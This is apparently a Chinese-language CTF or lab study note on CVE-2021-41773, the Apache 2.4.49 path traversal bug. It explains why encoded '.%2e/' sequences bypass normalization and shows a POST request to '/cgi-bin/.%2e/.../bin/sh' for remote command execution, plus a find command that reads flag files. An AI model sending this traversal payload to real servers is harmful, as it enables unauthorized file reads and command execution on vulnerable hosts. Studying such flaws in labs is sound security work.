CVE-2021-41773[Apache路径遍历RCE漏洞]
学习目标
- 基本了解本漏洞的原理并完成运用
- 用 find 方法解决嵌套 flag 问题
漏洞描述
漏洞特点:能扫到 cgi
在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path() 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 路径穿越符。
当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。
如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/ 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。
原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。
因此,攻击者可以使用 .%2e/ 或 %2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。本质上,这一漏洞属于代码层面的逻辑漏洞。
漏洞复现
利用该漏洞进行任意文件读取
利用该漏洞,进行任意文件读取的方法比较简单,用 get 就能提交,不过还是要用 brup,直接网页访问没用
1 | 任意文件读取POC: |
利用该漏洞进行远程命令执行
在开启了 cgi 或 cgid 的服务器上,我们可以利用此漏洞进行 RCE

抓包修改一下请求头,POST 提交一定要注意好格式,请求体要空两行不是一行
1 | POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 |
就能做到任意命令的执行了

结合我们在 thinkphp 复现中学的找 flag 的方式
1 | find / -type f -name "flag" -exec cat {} \; |
也能找到本题嵌套多层的 flag

稍微翻一下响应就能看到端倪之处了
你看到捣蛋鬼了吗?

本次 CVE 复现结束 🎆
![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

